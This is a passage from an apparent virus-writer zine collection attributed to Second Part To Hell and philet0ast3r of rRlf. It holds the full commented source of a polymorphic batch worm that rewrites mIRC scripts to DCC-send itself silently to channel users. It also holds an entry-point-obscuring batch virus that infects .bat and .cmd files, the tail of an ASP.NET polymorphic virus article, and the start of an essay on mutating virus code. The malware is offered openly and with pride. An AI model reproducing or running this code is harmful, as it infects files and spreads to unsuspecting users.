new_file_code=new_file_code+Mid(my_file_code,i,1) End If ElseIf Mid(my_file_code,i,1)=Chr(58) and my_arr_obj.Next(4)=1 Then new_file_code=new_file_code+Chr(13)+Chr(10) Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub</script> - - - - - - - - - - [ ASP.NET Collon Game Polymorphism Example ] - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Searchs for Chr(13)+Chr(10) in the code --> If Mid(string,i,-1) <> space and by chance of 1/4 replace it to a collon --> Searchs for collons in the code --> By chance of 1/4 replace it to Chr(13)+Chr(10) --> Writes new code to the file 3) Last words Another file-type is ready for infection since this article. I'm happy that I've finally finished it, and that Microsoft's answere to PHP is on the list of my victims now, too. :) I have already mentioned at the beginning of the article, you could write ASP.NET viruses with C# or C++.NET too, but I think for this time it's ok. About ASP.NET: It's really a highly interesting language, has alot of interesting feature for 'real' coding, is very easy to handle client and server communication and can use the whole appility of the .NET Framework. For this time - it's enough. See you out there soon! :D - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written in November 2005 ...surrealistic viruswriter... - - - - - - - - - - - - - - - PS: We need new heros! Read this: http://vx.netlux.org/29a/29a-6/29a-6.111sources
Bat/BatXP.Iaafe philet0ast3r & Second Part To Hell set generation=0 @echo off % spth-phile % cls % spth-phile % % spth-phile %set /a generation=%generation%+1 % spth-phile %if %generation% EQU 5 ( % spth-phile %echo You are infect with philet0ast3r's and Second Part To Hell's Bat/BatXP.Iaafe! % spth-phile %set generation=0 % spth-phile %) % spth-phile %echo set generation=%generation% >poly.bat :: Bat/BatXP.Iaafe % spth-phile % :: by philet0ast3r[rRlf] & Second Part To Hell[rRlf] % spth-phile % :: % spth-phile % :: philet0ast3r: Virus idea, name idea and the genial random engine :D % spth-phile % :: Second Part To Hell: Included the virus part, encrypt the BAT/VBS part, BatXP workable (workable? +fg+), made this stuff polymporph and the comments % spth-phile % :: % spth-phile % :: Big thanks goes to Lord Yup for writting the the "Silend DCC SEND"-Article { You'll find it in 29A #6 } % spth-phile % :: ------------------------------------------------------------------------------------------------------------------------------------------ % spth-phile % :: General Virus Info: % spth-phile % :: % spth-phile % :: Name of the Virus................................. Bat/BatXP.Iaafe % spth-phile % :: Author............................................ philet0ast3r & Second Part To Hell % spth-phile % :: Size.............................................. 20.194 byte % spth-phile % :: Encrypt........................................... Most of the virus part and something of the random-engine % spth-phile % :: Polymorphism...................................... Yes % spth-phile % :: (possible variants under WinXP (21*20*19*18*17*16*15*14*13*12*11*10*9*8*7*6*5*4*3*2) = 51090942171709440000 = ca. 51 trillion :] ) % spth-phile % :: (possible variants under WinME/98/95 (5*4*3*2) =120 ... because command.com doesn't allow more sets) % spth-phile % :: Spreading......................................... The virus spreads via mIRC, but not the normal "one-line-mIRC-spreading" way, but % spth-phile % :: a much better one. The User won't know, that he's infect. % spth-phile % :: Payload........................................... Every 5th generation the virus shows a shourt text % spth-phile % :: % spth-phile % :: Last words by Second Part To Hell: % spth-phile % :: I nearly commited suicide while writing this virus ;), % spth-phile % :: because i had to fix more than 1.000.000 bugs in this fuckin' program. % spth-phile % :: But I'm sure, i fixed all and now the virus works without mistake. % spth-phile % :: % spth-phile % :: Last words by philet0ast3r: % spth-phile % :: I just want to thank/greet some important persons: % spth-phile % :: breathe for helping me getting the idea how a batch random # generator could work % spth-phile % :: 3ri5, kathi, ina, janine & phily for being real friends (and more ;) % spth-phile % :: Slage Hammer % spth-phile % :: alcopaul % spth-phile % :: the rest of the rRlf and some other ppl, who know me % spth-phile % :: % spth-phile % % spth-phile %set generation= % spth-phile %set qwxykjsi=set % spth-phile %set aaa=A %qwxykjsi% fi=if % spth-phile % %qwxykjsi% nt=not % spth-phile % %qwxykjsi% el=errorlevel % spth-phile % %qwxykjsi% ine=%fi% %nt% %el% % spth-phile % % spth-phile %set vrsa=rndom set oto=goto% spth-phile % %qwxykjsi% a=0 % spth-phile % set fd=find% spth-phile % :: This part makes the set's for the crypt BAT part %fd% "spth-phile"<%0>>poly.bat :: The virus searches for "spth-phile" in every line of itself an :: write this lines to the poly.bat file %qwxykjsi% xp=true% spth-phile % % spth-phile %if %xp% EQU true goto xptruea :: It's a BatXP command, if it's true, the virus goes to the BatXP part goto winparta % spth-phile % :: Else it goes to the Bat part :xptruea % spth-phile % % spth-phile %set a=0 % spth-phile %set b=0 % spth-phile %set c=0 % spth-phile %set d=0 % spth-phile %set e=0 % spth-phile %set f=0 % spth-phile %set g=0 % spth-phile %set h=0 % spth-phile %set i=0 % spth-phile %set j=0 % spth-phile %set k=0 % spth-phile %set l=0 % spth-phile %set m=0 % spth-phile %set n=0 % spth-phile %set o=0 % spth-phile %set p=0 % spth-phile %set q=0 % spth-phile %set r=0 % spth-phile %set s=0 % spth-phile %set t=0 % spth-phile %set u=0 :: This set's are for the poly engine, because the variables can't be nothing :: in an if-part :start0 % spth-phile % % spth-phile %set aa=0 :: aa, the main poly-engine variable is zero :start1 % spth-phile % if %aa% EQU 5 goto endpoly % spth-phile % %qwxykjsi% /a aa=%aa%+1 % spth-phile % :: aa is aa+1 :start2 % spth-phile % ver|time|%fd% ",1">nul % spth-phile % :: Searching after "1" in the current time %ine% 1 %qwxykjsi% %vrsa%%aa%=1% spth-phile % :: If there is no errorlevel, that means, if the searching number in the time :: is 1, the variable %vrsa%(random)%aa%(changes, but at first it's 1) is 1! %ine% 1 %oto% start1 % spth-phile % :: Goto start ver|time|%fd% ",2">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=2% spth-phile % %ine% 1 %oto% start1 % spth-phile % :: Ones more the same ver|time|%fd% ",3">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=3% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",4">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=4% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",5">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=5% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",6">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=6% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",7">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=7% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",8">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=8% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",9">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=9% spth-phile % %ine% 1 %oto% start1 % spth-phile % ver|time|%fd% ",0">nul % spth-phile % %ine% 1 %qwxykjsi% %vrsa%%aa%=10% spth-phile % %ine% 1 %oto% start1 % spth-phile % goto start2 % spth-phile % :endpoly % spth-phile % % spth-phile %if %a% NEQ 1 (if %rndom1% EQU 1 ( % spth-phile %find "%aaa%AAA" <%0 >>poly.bat % spth-phile %set a=1 % spth-phile %)) :: The last 4 lines are one if-part. :: If a <> 1 AND if %random1% (you know: %vrsa%%aa%) is 1 then seaching :: after "BBBB" in the whole code, and write it to poly.bat. And changing :: the "a" to 1! So this part of the code won't write ones more to the poly.bat % spth-phile %if %b% NEQ 1 (if %rndom1% EQU 2 ( % spth-phile %find "%aaa%BBB" <%0 >>poly.bat % spth-phile %set b=1 % spth-phile %)) :: The same % spth-phile %if %c% NEQ 1 (if %rndom1% EQU 3 ( % spth-phile %find "%aaa%CCC" <%0 >>poly.bat % spth-phile %set c=1 % spth-phile %)) % spth-phile %if %d% NEQ 1 (if %rndom1% EQU 4 ( % spth-phile %find "%aaa%DDD" <%0 >>poly.bat % spth-phile %set d=1 % spth-phile %)) % spth-phile %if %e% NEQ 1 (if %rndom2% EQU 1 ( % spth-phile %find "%aaa%EEE" <%0 >>poly.bat % spth-phile %set e=1 % spth-phile %)) % spth-phile %if %f% NEQ 1 (if %rndom2% EQU 2 ( % spth-phile %find "%aaa%FFF" <%0 >>poly.bat % spth-phile %set f=1 % spth-phile %)) % spth-phile %if %g% NEQ 1 (if %rndom2% EQU 3 ( % spth-phile %find "%aaa%GGG" <%0 >>poly.bat % spth-phile %set g=1 % spth-phile %)) % spth-phile %if %h% NEQ 1 (if %rndom2% EQU 4 ( % spth-phile %find "%aaa%HHH" <%0 >>poly.bat % spth-phile %set h=1 % spth-phile %)) % spth-phile %if %i% NEQ 1 (if %rndom3% EQU 1 ( % spth-phile %find "%aaa%III" <%0 >>poly.bat % spth-phile %set i=1 % spth-phile %)) % spth-phile %if %j% NEQ 1 (if %rndom3% EQU 2 ( % spth-phile %find "%aaa%JJJ" <%0 >>poly.bat % spth-phile %set j=1 % spth-phile %)) % spth-phile %if %k% NEQ 1 (if %rndom3% EQU 3 ( % spth-phile %find "%aaa%KKK" <%0 >>poly.bat % spth-phile %set k=1 % spth-phile %)) % spth-phile %if %l% NEQ 1 (if %rndom3% EQU 4 ( % spth-phile %find "%aaa%LLL" <%0 >>poly.bat % spth-phile %set l=1 % spth-phile %)) % spth-phile %if %m% NEQ 1 (if %rndom4% EQU 1 ( % spth-phile %find "%aaa%MMM" <%0 >>poly.bat % spth-phile %set m=1 % spth-phile %)) % spth-phile %if %n% NEQ 1 (if %rndom4% EQU 2 ( % spth-phile %find "%aaa%NNN" <%0 >>poly.bat % spth-phile %set n=1 % spth-phile %)) % spth-phile %if %o% NEQ 1 (if %rndom4% EQU 3 ( % spth-phile %find "%aaa%OOO" <%0 >>poly.bat % spth-phile %set o=1 % spth-phile %)) % spth-phile %if %p% NEQ 1 (if %rndom4% EQU 4 ( % spth-phile %find "%aaa%PPP" <%0 >>poly.bat % spth-phile %set p=1 % spth-phile %)) % spth-phile %if %q% NEQ 1 (if %rndom5% EQU 1 ( % spth-phile %find "%aaa%QQQ" <%0 >>poly.bat % spth-phile %set q=1 % spth-phile %)) % spth-phile %if %r% NEQ 1 (if %rndom5% EQU 2 ( % spth-phile %find "%aaa%RRR" <%0 >>poly.bat % spth-phile %set r=1 % spth-phile %)) % spth-phile %if %s% NEQ 1 (if %rndom5% EQU 3 ( % spth-phile %find "%aaa%SSS" <%0 >>poly.bat % spth-phile %set s=1 % spth-phile %)) % spth-phile %if %t% NEQ 1 (if %rndom5% EQU 4 ( % spth-phile %find "%aaa%TTT" <%0 >>poly.bat % spth-phile %set t=1 % spth-phile %)) % spth-phile %if %u% NEQ 1 (if %rndom5% EQU 5 ( % spth-phile %find "%aaa%UUU" <%0 >>poly.bat % spth-phile %set u=1 % spth-phile %)) % spth-phile %if %a% EQU 1 (if %b% EQU 1 (if %c% EQU 1 (if %d% EQU 1 ( % spth-phile %if %e% EQU 1 (if %f% EQU 1 (if %g% EQU 1 (if %h% EQU 1 ( % spth-phile %if %i% EQU 1 (if %j% EQU 1 (if %k% EQU 1 (if %l% EQU 1 ( % spth-phile %if %m% EQU 1 (if %n% EQU 1 (if %o% EQU 1 (if %p% EQU 1 ( % spth-phile %if %q% EQU 1 (if %r% EQU 1 (if %s% EQU 1 (if %t% EQU 1 (if %u% EQU 1 ( goto irca % spth-phile % % spth-phile %))))))))))))))))))))) :: The last 7 lines are one really gigant if-part :) :: If every letter from "a" to "u" is 1, then the file goes to the mIRC part. goto start0 % spth-phile % :: Else it goes to the start0 part (and searches ones more for random-numbers) :winparta % spth-phile % :: Here you can find the normal Bat. If the OS isn't WinXP/Win2000prof, :: the virus will start it's life here. set wina=0% spth-phile % set winb=0% spth-phile % set winc=0% spth-phile % set wind=0% spth-phile % set wine=0% spth-phile % set oto=% spth-phile % set qwxykjsi=% spth-phile % set nt=% spth-phile % set fi=% spth-phile % set el=% spth-phile % set ine=% spth-phile % :: These are some variables for cryption or for the poly-engine :startwin2 % spth-phile % % spth-phile %if not %wina%==1 goto polyengi % spth-phile %if not %winb%==1 goto polyengi % spth-phile %if not %winc%==1 goto polyengi % spth-phile %if not %wind%==1 goto polyengi % spth-phile %if not %wine%==1 goto polyengi :: These 5 lines are doing the same as the big 7-lines-if-part in the BatXP! goto winirc % spth-phile % :polyengi % spth-phile % ver|time|find ",1">nul % spth-phile % if not errorlevel 1 set randoma=1% spth-phile % if not errorlevel 1 goto enpolywin % spth-phile % :: You have to know these lines, because I explained it in the BatXP part ver|time|find ",2">nul % spth-phile % if not errorlevel 1 set randoma=2% spth-phile % if not errorlevel 1 goto enpolywin % spth-phile % ver|time|find ",3">nul % spth-phile % if not errorlevel 1 set randoma=3% spth-phile % if not errorlevel 1 goto enpolywin % spth-phile % ver|time|find ",4">nul % spth-phile % if not errorlevel 1 set randoma=4% spth-phile % if not errorlevel 1 goto enpolywin % spth-phile % ver|time|find ",5">nul % spth-phile % if not errorlevel 1 set randoma=5% spth-phile % if not errorlevel 1 goto enpolywin % spth-phile % goto startwin2 % spth-phile % :enpolywin % spth-phile % % spth-phile %if not %wina%==1 if %randoma%==1 goto enapolywin % spth-phile %if not %winb%==1 if %randoma%==2 goto enbpolywin % spth-phile %if not %winc%==1 if %randoma%==3 goto encpolywin % spth-phile %if not %wind%==1 if %randoma%==4 goto endpolywin % spth-phile %if not %wine%==1 if %randoma%==5 goto enepolywin :: If the variable "wina-e" isn't 1, then if the "randoma" is 1-5, :: the virus goes to an other part of the Bat-poly-engine goto startwin2 % spth-phile % :enapolywin % spth-phile % % spth-phile %find "%aaa%BBB"<%0>> poly.bat % spth-phile %find "%aaa%AAA"<%0>> poly.bat % spth-phile %find "%aaa%KKK"<%0>> poly.bat % spth-phile %find "%aaa%DDD"<%0>> poly.bat set wina=1% spth-phile % :: The virus writes every lines with "ABBB","AAAA","AKKK","ADDD" to the poly-file :: and changes the variable "wina" to 1 % spth-phile %goto startwin2 :enbpolywin % spth-phile % % spth-phile %find "%aaa%EEE"<%0>> poly.bat % spth-phile %find "%aaa%LLL"<%0>> poly.bat % spth-phile %find "%aaa%GGG"<%0>> poly.bat % spth-phile %find "%aaa%HHH"<%0>> poly.bat set winb=1% spth-phile % % spth-phile %goto startwin2 :encpolywin % spth-phile % % spth-phile %find "%aaa%III"<%0>> poly.bat % spth-phile %find "%aaa%JJJ"<%0>> poly.bat % spth-phile %find "%aaa%CCC"<%0>> poly.bat % spth-phile %find "%aaa%FFF"<%0>> poly.bat set winc=1% spth-phile % % spth-phile %goto startwin2 :endpolywin % spth-phile % % spth-phile %find "%aaa%NNN"<%0>> poly.bat % spth-phile %find "%aaa%MMM"<%0>> poly.bat % spth-phile %find "%aaa%PPP"<%0>> poly.bat % spth-phile %find "%aaa%OOO"<%0>> poly.bat set wind=1% spth-phile % % spth-phile %goto startwin2 :enepolywin % spth-phile % % spth-phile %find "%aaa%RRR"<%0>> poly.bat % spth-phile %find "%aaa%SSS"<%0>> poly.bat % spth-phile %find "%aaa%UUU"<%0>> poly.bat % spth-phile %find "%aaa%TTT"<%0>> poly.bat % spth-phile %find "%aaa%QQQ"<%0>> poly.bat set wine=1% spth-phile % % spth-phile %goto startwin2 :winirc % spth-phile % % spth-phile %set wina= % spth-phile %set winb= % spth-phile %set winc= % spth-phile %set wind= % spth-phile %set wine= % spth-phile %set aaa= % spth-phile %set randoma= :: All variables used in the poly-engine are deleted :irca % AAAA % if exist C:\mirc\script.ini set mir=C:\mirc% AAAA % echo %mir% if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA % if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA % if exist C:\prgra~1\mirc32\script.ini set mir=C:\progra~1\mirc32% AAAA % goto ircb% AAAA % :ircb % ABBB % set mirc=%mir%\script.ini% ABBB % set vs=chr(% ABBB % goto ircc% ABBB % :ircc % ACCC % set wc=echo file.writeline% ACCC % goto ircd% ACCC % :ircd % ADDD % echo dim fso, file > irc.vbs% ADDD % echo set fso = createobject("scripting.filesystemobject") >>irc.vbs% ADDD % echo set file = fso.createtextfile ("%mir%\script.ini", true)>>irc.vbs% ADDD % goto irce% ADDD % :irce % AEEE % %wc% " on 1:st" + %vs%97) + "rt: { ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "filee %mir%\name.b" + %vs%97) + "t }">>irc.vbs% AEEE % %wc% " on 1:join:#: { ">>irc.vbs% AEEE % %wc% " .if (" + %vs%36) + "nick != " + %vs%36) + "me " + %vs%38) + "" + %vs%38) + " " + %vs%37) + "old != " + %vs%36) + "nick) {">>irc.vbs% AEEE % goto ircf% AEEE % :ircf % AFFF % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "old " + %vs%36) + "nick">>irc.vbs% AFFF % %wc% " .timer " + %vs%36) + "+ " + %vs%36) + "r" + %vs%97) + "nd(1,100000) 1 5 ." + %vs%36) + "check_him( " + %vs%36) + "nick , " + %vs%36) + "ch" + %vs%97) + "n )">>irc.vbs% AFFF % goto ircg% AFFF % :ircg % AGGG % %wc% " } ">>irc.vbs% AGGG % %wc% " }">>irc.vbs% AGGG % %wc% " " + %vs%97) + "li" + %vs%97) + "s check_him {">>irc.vbs% AGGG % goto irch% AGGG % :irch % AHHH % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "port " + %vs%36) + "r" + %vs%97) + "nd(9999,999999) ">>irc.vbs% AHHH % %wc% " .while (" + %vs%36) + "portfree(" + %vs%37) + "port) == " + %vs%36) + "f" + %vs%97) + "lse) { ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "port " + %vs%36) + "r" + %vs%97) + "nd(9999,999999) }">>irc.vbs% AHHH % goto irci% AHHH % :irci % AIII % %wc% " .%fi% (" + %vs%36) + "1 !isop " + %vs%36) + "2) { ">>irc.vbs% AIII % %wc% " .%nt%ice " + %vs%36) + "1 :DCC " + %vs%115) + %vs%101) + %vs%110) + %vs%100) + " teletubies ( " + %vs%36) + "+ " + %vs%36) + "ip " + %vs%36) + "+ ) ">>irc.vbs% AIII % goto ircj% AIII % :ircj % AJJJ % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "sock_n" + %vs%97) + "me " + %vs%36) + "r" + %vs%97) + "nd(1,99999)">>irc.vbs% AJJJ % %wc% " .msg " + %vs%36) + "1 DCC " + %vs%115) + %vs%101) + %vs%110) + %vs%100) + " " + %vs%37) + "filee " + %vs%36) + "longip(" + %vs%36) + "ip) " + %vs%37) + "port " + %vs%36) + "file(" + %vs%37) + "filee).size " + %vs%36) + "+ ">>irc.vbs% AJJJ % %wc% " .socklisten " + %vs%37) + "sock_n" + %vs%97) + "me " + %vs%37) + "port">>irc.vbs% AJJJ % goto irck% AJJJ % :irck % AKKK % %wc% " .timers off">>irc.vbs% AKKK % %wc% " .timer " + %vs%36) + "+ " + %vs%36) + "r" + %vs%97) + "nd(1,99999) 0 10 .cloze">>irc.vbs% AKKK % %wc% " } ">>irc.vbs% AKKK % goto ircl% AKKK % :ircl % ALLL % %wc% " }">>irc.vbs% ALLL % %wc% " on 1:socklisten:" + %vs%37) + "sock_n" + %vs%97) + "me: {">>irc.vbs% ALLL % goto ircm% ALLL % :ircm % AMMM % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "client_n" + %vs%97) + "me " + %vs%36) + "r" + %vs%97) + "nd(1,9999999)">>irc.vbs% AMMM % %wc% " .sockclose " + %vs%37) + "sock_n" + %vs%97) + "me">>irc.vbs% AMMM % goto ircn% AMMM % :ircn % ANNN % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "l 0">>irc.vbs% ANNN % %wc% " .bre" + %vs%97) + "d " + %vs%37) + "filee " + %vs%37) + "l 4000 " + %vs%38) + "le">>irc.vbs % ANNN % goto irco% ANNN % :irco % AOOO % %wc% " .sockwrite -b " + %vs%37) + "client_n" + %vs%97) + "me 4000 " + %vs%38) + "le">>irc.vbs% AOOO % %wc% " " + %vs%37) + "l = " + %vs%37) + "l + 4000">>irc.vbs% AOOO % goto ircp% AOOO % :ircp % APPP % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "end 0">>irc.vbs% APPP % %wc% " }">>irc.vbs% APPP % %wc% " on 1:sockre" + %vs%97) + "d:" + %vs%37) + "client_n" + %vs%97) + "me: {">>irc.vbs% APPP % goto ircq % APPP % :ircq % AQQQ % %wc% " .%fi% (" + %vs%37) + "l >= " + %vs%36) + "file(" + %vs%37) + "filee).size) {">>irc.vbs% AQQQ % %wc% " ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "end 1">>irc.vbs% AQQQ % goto ircr% AQQQ % :ircr % ARRR % %wc% " .sockclose " + %vs%37) + "client_n" + %vs%97) + "me">>irc.vbs% ARRR % %wc% " .h" + %vs%97) + "lt">>irc.vbs% ARRR % %wc% " } .else {">>irc.vbs% ARRR % goto ircs% ARRR % :ircs % ASSS % %wc% " .%fi% (" + %vs%37) + "end != 1) {">>irc.vbs% ASSS % %wc% " .bre" + %vs%97) + "d " + %vs%37) + "filee " + %vs%37) + "l 4000 " + %vs%38) + "le">>irc.vbs% ASSS % goto irct% ASSS % :irct % ATTT % %wc% " .sockwrite -b " + %vs%37) + "client_n" + %vs%97) + "me 4000 " + %vs%38) + "le">>irc.vbs% ATTT % %wc% " " + %vs%37) + "l = " + %vs%37) + "l + 4000">>irc.vbs% ATTT % %wc% " } } }">>irc.vbs% ATTT % goto ircu% ATTT % :ircu % AUUU % %wc% " " + %vs%97) + "li" + %vs%97) + "s cloze { .sockclose " + %vs%37) + "sock_n" + %vs%97) + "me } ">>irc.vbs% AUUU % echo file.Close >>irc.vbs% AUUU % cscript irc.vbs% AUUU % cls% AUUU % goto eirc% AUUU % :: This is the whole virus part :: It spreads via mIRC, and is mostly encrypt :eirc % phile-spth % del irc.vbs % phile-spth % find "phile-spth"<%0>>poly.bat copy poly.bat %mir%\name.bat % phile-spth % del poly.bat % phile-spth % cls % phile-spth % :: Last but not least, the virus searchs for "phile-spth" in the viruscode, :: And write it to the poly.bat! Then it copies the poly.bat to the mIRC-dir :: and deletes the irc-vbs and the poly.bat!sources
BatXP.Nihilist Second Part To Hell BatXP.Nihilist by Second Part To Hell[rRlf] www.spth.de.vu spth@priest.com written in March 2004 in Austria BatXP.Nihilist is the very first Entry Point Obscuring (EPO) Batch virus ever done. EPO was the last very important and not yet done technique until March 2004. And as you may imagine, it's done now. :). I got the idea in writing it long time before, because I thought that every language should have at least one encrypted, one polymorph and one EPO virus. But unfortunatly I forgot the idea, and just picked it up again in 2004, when I read DvL's editional of Batch Zone#4. Much thanks! :) The code uses some interesting commands, and it's doubtful that you will understand the whole thing without testing the commands or read Microsoft's help (command /?) :D. That's more or less everything I want to say. I don't want to explain everything because everybody who is interested in that will understand it. If not, just send me a mail! The History of the name is little strange: I asked my girlfriend if she knows any cool word. She sent me a SMS: 'Nihilist'. Well, First I wanted to use it for my PE vir, then for my MenuetOS vir, but both aren't finished so far and I want to use this name for a virus :). Much thanks for the cool name, ILD! --------------------------------------------<([{ BatXP.Nihilist }])>-------------------------------------------- %Nihilist%@echo off %Nihilist%set num=0 :ag %Nihilist% %Nihilist%set fn%num%= %Nihilist%set /a num+=1 %Nihilist%if %num% LSS 5 goto ag %Nihilist%set num=0 %Nihilist%for %%a in (*.bat *.cmd) do call :mr %%a %Nihilist%set num=-1 :fi %Nihilist% %Nihilist%set /a num+=1 %Nihilist%if %num% GTR 5 (goto ROF) %Nihilist%if %num% EQU 0 (set file=%fn0%) %Nihilist%if %num% EQU 1 (set file=%fn1%) %Nihilist%if %num% EQU 2 (set file=%fn2%) %Nihilist%if %num% EQU 3 (set file=%fn3%) %Nihilist%if %num% EQU 4 (set file=%fn4%) %Nihilist%if %num% EQU 5 (set file=%fn5%) %Nihilist%set rnd=%random% %Nihilist%set spth=%0 :findnum %Nihilist% %Nihilist%set /a rnd-=10 %Nihilist%if %rnd% GEQ 10 (goto findnum) %Nihilist%set lz=0 %Nihilist%del tmp %Nihilist%for /f "tokens=1*" %%a in (%file%) do if 1 EQU 1 ( %Nihilist% set lc=%%a %%b %Nihilist% call :wl %Nihilist%) find "Nihilist" <%spth% >>tmp %Nihilist%more +%rnd% < %file% >>tmp %Nihilist%move /y tmp %file% %Nihilist%@echo on %Nihilist%goto fi :wl %Nihilist% %Nihilist%set /a lz=%lz%+1 %Nihilist%if %lz% LEQ %rnd% (echo %lc% >>tmp) %Nihilist%goto :EOF :mr %Nihilist% %Nihilist%if %num% LEQ 5 ( %Nihilist%set fn%num%=%1 %Nihilist%set /a num+=1 %Nihilist%) :ROF %Nihilist%articles
Code Evolution: Follow nature's example Second Part To Hell ************************************************************* ************************************************************* ************ *********** ************ Code Evolution: *********** ************ Follow nature's example *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 0) Intro Words 1) The idea 1.1) Biological DNA 1.2) Biological Mutation 2) The connection between DNA and Code 3) Code Mutation 3.1) Point Mutation in Codes 3.2) Chromosome Mutation in Codes 4) How to use it? 4.1) Generations and the mystical word 'Death' 4.2) Codeing style: Exons and Introns 5) Connection to computer viruses 5.1) Neutral mutations 6) Outro words 0) Intro Words This article describes an idea about how the evolution of computer code could look like. First I have to say that I got this idea while I was on a real strange party with some punks. I was pretty drunken by wiskey and really stoned (no shit). I could not really think, so I took out a paper and noted my idea. The next day I read the paper and thought that this could really work. Well, I still think that this idea could work, so go on reading about the idea! 1) The idea Biological evolution happens totally random, anyway such complex forms of life have been created. The reason for that is 'natural selection'. This says, the the life form, who has a better DNA (which has randomly created) will spread better. Maybe it can use the energy of the food better or better hides from enemies or whatever. Many ideas and article have been written about the topic 'techical natural selection'. But this article doesn't describe selection, but mutation - and the connection between biological and technical mutation. To understand, where are the connections between these two types of mutation,we have to understand the biological mutation system and its DNA. 1.1) Biological DNA Every cellular form of life has a code, which is resposible, what every part has to do. This code is called DNA (Deoxyribonucleic acid). This DNA consists of chromosomes. For instance the human has 46 chromosomes. The chromosomes consists of genes, and genes are built of bases. Bases are the root of the DNA. Their are fours elements, which can make a base: Adenine (A), Thymine (T), Cytosine (C), and Guanine (G). One base could look like that: A = = T T = = A C = = G G = = C That means, that the DNA is encoded into 4 different blocks (while a file has just two ones [0,1] - but that will follow later). That is just a very brief describtion of the DNA, but for this idea it's enough. 1.2) Biological Mutation All in all, their are two different types of mutation: Point mutation (gene mutation) and chromosome mutation. Point mutation: This is the most frequent mutation type. A base of a gene changes by mistake. The result is a changed DNA. This *COULD* have positive effects, but as in all mutations, often it has a negative effect to the life from. Chromosome mutation: Here the order of the genes change, not the genes themselves. There are 5 ways of chromosome mutation: - Delection: A part of the chromosome disappears. A simple graphic shows you how that would look like: Normal chromosome: -1--2--3--4--5--6--7- After delection: -1--2--4--5--6--7- You can see, that a part of the chromosom (one gene or more) gets lost. This type of chromosome mutation is most times deadly for the life form. - Duplication: A part of the chromosome exists two times in the chromosome. Normal chromosome: -1--2--3--4--5--6--7- After dublicaltion: -1--2--3--2--3--4--5--6--7- Most times this mutation has no effect to the life form. Just the genetic code (DNA) increases. - Inversation: A part of the chromosome changes its order and exists in different order in the chromosome Normal chromosome: -1--2--3--4--5--6--7- After inversation: -1--2--4--3--5--6--7- You can see the inversation of the part 3-4. - Inseration: A new part is added to the chromosome. Normal chromosome: -1--2--3--4--5--6--7- After inseration: -1--2--3--4--x1--x2--5--6--7- Who knows where this parts come from in nature, but that's not part of this article. - Translocation: A part or a whole chromosome goes to another chromosome. Normal chromosome1: -a1--a2--a3--a4--a5--a6--a7- Normal chromosome2: -b1--b2--b3--b4--b5--b6--b7--b8--b9- After translocation1: -a1--a2--a3--4a--b4--b5--b6--5a--6a--7a- After transloctaion2: -b1--b2--b3--b7--b8--b9- 2) The connection between DNA and Code Why should not we use this successful system for our codes? But before, we have to think about which parts are equal in DNA and our Code: DNA = Code The biological DNA is responsible for the development and the behaviour of a cellular life form. Equally, the code of a program or whatever is responsible for the development and the behaviour of the program. Here we can see a real close connection. So we should remember: The code of a program is like it's DNA. Chromosome = Program Function A cromosome is built of many genes. It has its own functions and is resposible for specifically jobs. Here we can see a real close connection to our programs again: Programs consists of functions. These functions are resposible for their own jobs. And: A functions of a program is built of many commands (connections: genes). Genes = Commands A gene has one small specifically function, and it is build of bases. It's nearly the same as our commands: They have small function, and it consists of bits (0,1). A real close connection, hmm? :) Bases = Bits The roots of the DNA are the four bases. The roots of programs are bits. The only different is, that their are 4 types of bases, and just 2 typed of bit. But that is no problem for mutation. 3) Code Mutation Now we know how natural cellular life forms change (mutate), and we know the connection between code and DNA. So where is the problem? Let's see how we could mutate our code following nature's example. 3.1) Point Mutation in Codes As bits are (here) equally to bases, and at point mutation the bases change, we have to change the bits. Not whole bytes, because bytes are 8 bits. Let's see: 1000 1001 1101 1000 ... mov ax, bx XOR 0000 0000 0000 1000 ... random number 1000 1001 1101 0000 ... mov ax, dx As you can see, this is the mutation, as it also works in nature. Well, not exactly this way, but like that. You can see, here I used a XOR calculation. But, we could also take all other bit calculation, which allows a two byte calculation (AND, OR, NAND, NOR, XOR). Let's see an other example: 1000 1001 1101 1000 ... mov ax, bx OR 0000 0000 1000 0000 ... random number 1000 1001 1101 1000 ... mov ax, bx See, no effect (as most mutations in nature). Let's see another exmple: 1000 1001 1101 1000 ... mov ax, bx OR 0100 0000 0000 0000 ... random number 1100 1001 1101 1000 ... leave | fcomp st(0), st(0) This mutation would have been really important for the code. Who knows the command? I neighter know it nor i've found a description of it in the 'Intel Hex Opcodes And Mnemonics'. Well, the processor know it. What I wanted to show is, how that mutation would work for codes. 3.2) Chromosome Mutation in 